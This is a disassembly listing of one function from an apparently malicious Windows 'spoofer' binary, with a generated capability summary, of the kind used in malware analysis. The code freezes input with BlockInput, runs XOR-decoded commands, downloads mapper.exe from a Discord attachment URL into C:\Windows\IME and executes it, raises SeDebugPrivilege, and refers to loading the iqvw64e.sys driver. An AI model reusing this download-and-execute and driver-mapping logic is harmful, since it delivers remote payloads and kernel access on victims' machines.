Function at 0x14000a760
Capabilities:
Acquire debug privileges
Download url
Encode data using xor
Execute command
Receive data
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xa0
mov rax, qword [0x14001d040]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14000a410]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.____Your_Keyboard_And_Mouse_Will_Freeze_Please_Be_Pantient.__n
call fcn.1400081c0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14000a410]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.____Dont_Turn_Of_ur_Computer_That_can_Damage_it.__n
call fcn.1400081c0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14000a410]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.___You_Will_Progress_Of_Spoofing_Method._n
call fcn.1400081c0
call fcn.14000a650
mov edx, 0x5dc
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x5dc
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str.WYE7]
xor esi, esi
cmp byte [0x140018b5b], sil
mov edi, dword [0x14001d088]
mov dword [rsp + 0x50], eax
je 0x14000a914
cmp edi, 2
jl 0x14000a8d2
movdqa xmm3, xmmword [0x140018bc0]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140018c10]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140018c10]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140018be0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140018bf0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
jmp 0x14000a914
lea r9, [rsp + 0x50]
mov r8d, esi
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x14000a8e0
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea r8, str.C:__Windows__IME__mapper.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1203453741827760262_1203460975269781544_mapper1.exe_ex65d12d5fis65beb85fhm6002f6c13989b2695300236bcb034acdade6f98eae08790dce67db38c43d8952
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.C:WindowsIMEmapper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140001a00
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14000abd3
mov rcx, rax
call fcn.140007650
test rax, rax
jne 0x14000a9a8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____Failder_To_Map_Driver
call fcn.1400081c0
lea rdx, [0x140008390]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call fcn.140002030
jmp 0x14000ab98
mov rcx, rbx
movaps xmmword [rsp + 0x90], xmm6
call fcn.140002030
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0xc8
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
cmp byte [0x140018b5b], sil
mov eax, dword [str.WYE7]
mov dword [rsp + 0x50], eax
je 0x14000aaaf
cmp edi, 2
jl 0x14000aa75
movdqa xmm3, xmmword [0x140018bc0]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140018c10]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140018c10]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140018be0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140018bf0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
jmp 0x14000aaaf
lea r8, [rsp + 0x50]
mov ecx, esi
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp ecx, 4
jl 0x14000aa80
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm6, xmm6
lea r8, [rsp + 0x70]
movq rdi, xmm6
mov edx, 0x28
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14000aaf0
lea rdx, str.Failed_to_open_the_process_token.
jmp 0x14000ab74
lea r8, [rsp + 0x7c]
mov qword [rsp + 0x7c], rsi
lea rdx, str.SeDebugPrivilege
mov dword [rsp + 0x78], 1
xor ecx, ecx
mov dword [rsp + 0x84], 2
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x14000ab29
lea rdx, str.Failed_to_lookup_the_privilege_value.
jmp 0x14000ab74
mov rcx, qword [rsp + 0x70]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14000ab58
lea rdx, str.Failed_to_adjust_the_token_privileges.
jmp 0x14000ab74
psrldq xmm6, 8
movq rcx, xmm6
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x14000abbd
lea rdx, str.Failed_to_resume_the_process_thread.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400081c0
lea rdx, [0x140008390]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movaps xmm6, xmmword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.14000b670
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
movq rcx, xmm6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000ab90
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____Couldnt_Load_Driver_iqvw64e.sys
call fcn.1400081c0
lea rdx, [0x140008390]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000ab98